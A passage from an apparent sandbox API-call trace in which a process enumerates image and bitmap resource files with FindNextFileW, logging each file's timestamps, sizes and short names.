ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xbe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIcon.jpg", cAlternateFileName="INFORM~1.JPG")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74274b00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74274b00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="InformationIconMask.bmp", cAlternateFileName="INFORM~1.BMP")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675aa300, ftCreationTime.dwHighDateTime=0x1c9f921, ftLastAccessTime.dwLowDateTime=0x581a1510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x675aa300, ftLastWriteTime.dwHighDateTime=0x1c9f921, nFileSizeHigh=0x0, nFileSizeLow=0xceed, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginDialogBackground.jpg", cAlternateFileName="LOGIND~1.JPG")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24Images.jpg", cAlternateFileName="LOGINT~1.JPG")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xaf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="LoginTool24x24ImagesMask.bmp", cAlternateFileName="LOGINT~1.BMP")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x69a5d7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x25e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImages.jpg", cAlternateFileName="MESSAG~2.JPG")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageAttachmentIconImagesMask.bmp", cAlternateFileName="MESSAG~1.BMP")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x22f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImages.jpg", cAlternateFileName="MESSAG~1.JPG")) returned 1 [0202.370] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75587800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75587800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="MessageHistoryIconImagesMask.bmp", cAlternateFileName="MESSAG~2.BMP")) returned 1 [0202.371] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46b7a400, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46b7a400, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x3efd, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackground.jpg", cAlternateFileName="NOTIFI~1.JPG")) returned 1 [0202.371] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50410c00, ftCreationTime.dwHighDateTime=0x1c9e8b3, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50410c00, ftLastWriteTime.dwHighDateTime=0x1c9e8b3, nFileSizeHigh=0x0, nFileSizeLow=0x40aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierBackgroundRTL.jpg", cAlternateFileName="NOTIFI~2.JPG")) returned 1 [0202.371] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79304700, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a513ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79304700, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierCloseButton.jpg", cAlternateFileName="NO00D7~1.JPG")) returned 1 [0202.386] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f262800, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a539c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7f262800, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableDownArrow.jpg", cAlternateFileName="NO74B3~1.JPG")) returned 1 [0202.386] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b9af00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82b9af00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDisableUpArrow.jpg", cAlternateFileName="NOTIFI~3.JPG")) returned 1 [0202.386] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x864d3600, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x864d3600, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x368, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierDownArrow.jpg", cAlternateFileName="NOTIFI~4.JPG")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e0bd00, ftCreationTime.dwHighDateTime=0x1c91151, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89e0bd00, ftLastWriteTime.dwHighDateTime=0x1c91151, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierUpArrow.jpg", cAlternateFileName="NO6669~1.JPG")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8472000, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8472000, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMask.bmp", cAlternateFileName="NOTIFI~1.BMP")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a588200, ftCreationTime.dwHighDateTime=0x1c90f02, ftLastAccessTime.dwLowDateTime=0x6a87fa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a588200, ftLastWriteTime.dwHighDateTime=0x1c90f02, nFileSizeHigh=0x0, nFileSizeLow=0x133a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NotifierWindowMaskRTL.bmp", cAlternateFileName="NOTIFI~2.BMP")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7689a500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7689a500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImages.jpg", cAlternateFileName="OUTLIN~1.JPG")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6c393490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1938, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlineToolIconImagesMask.bmp", cAlternateFileName="OUTLIN~1.BMP")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6cd3edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImages.jpg", cAlternateFileName="OUTOFS~1.JPG")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x59c42b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutofSyncIconImagesMask.bmp", cAlternateFileName="OUTOFS~1.BMP")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a3c500, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a3c500, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5203, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImages.jpg", cAlternateFileName="PICTUR~1.JPG")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe1a5d00, ftCreationTime.dwHighDateTime=0x1ca032e, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe1a5d00, ftLastWriteTime.dwHighDateTime=0x1ca032e, nFileSizeHigh=0x0, nFileSizeLow=0x1238, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturesToolIconImagesMask.bmp", cAlternateFileName="PICTUR~1.BMP")) returned 1 [0202.387] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xc1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIcon.jpg", cAlternateFileName="QUESTI~1.JPG")) returned 1 [0202.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuestionIconMask.bmp", cAlternateFileName="QUESTI~1.BMP")) returned 1 [0202.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77bad200, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77bad200, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16Images.jpg", cAlternateFileName="SHARED~1.JPG")) returned 1 [0202.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared16x16ImagesMask.bmp", cAlternateFileName="SHARED~1.BMP")) returned 1 [0202.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1963, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24Images.jpg", cAlternateFileName="SHARED~2.JPG")) returned 1 [0202.388] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1638, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared24x24ImagesMask.bmp", cAlternateFileName="SHARED~2.BMP")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SketchIconImages.bmp", cAlternateFileName="SKETCH~1.BMP")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5aad71f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupicons.jpg", cAlternateFileName="SPACEB~1.JPG")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="spacebackupiconsmask.bmp", cAlternateFileName="SPACEB~1.BMP")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x0, cFileName="STOPICON.JPG", cAlternateFileName="")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ebff00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78ebff00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="StopIconMask.bmp", cAlternateFileName="STOPIC~1.BMP")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d554a00, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d554a00, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImages256Colors.bmp", cAlternateFileName="TASKBA~1.BMP")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cd49300, ftCreationTime.dwHighDateTime=0x1ca0b45, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd49300, ftLastWriteTime.dwHighDateTime=0x1ca0b45, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskbarIconImagesMask256Colors.bmp", cAlternateFileName="TASKBA~2.BMP")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5adf6ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2605, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImage.jpg", cAlternateFileName="TIPSIM~1.JPG")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a1d2c00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ae1d030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a1d2c00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipsImageMask.bmp", cAlternateFileName="TIPSIM~1.BMP")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x450, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSignLogo.jpg", cAlternateFileName="VERISI~1.JPG")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90bafc00, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90bafc00, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x5431, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImages.jpg", cAlternateFileName="WEBTOO~1.JPG")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8862c100, ftCreationTime.dwHighDateTime=0x1ca032f, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8862c100, ftLastWriteTime.dwHighDateTime=0x1ca032f, nFileSizeHigh=0x0, nFileSizeLow=0x1538, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolIconImagesMask.bmp", cAlternateFileName="WEBTOO~1.BMP")) returned 1 [0202.389] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x708c13f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1995, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImages16x16.jpg", cAlternateFileName="WEBTOO~2.JPG")) returned 1 [0202.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4e5900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b4e5900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebToolImagesMask16x16.bmp", cAlternateFileName="WEBTOO~2.BMP")) returned 1 [0202.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2308, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImages.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1 [0202.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c7f8600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e633690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c7f8600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="WSSFilesToolIconImagesMask.bmp", cAlternateFileName="WSSFIL~1.BMP")) returned 1 [0202.390] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: 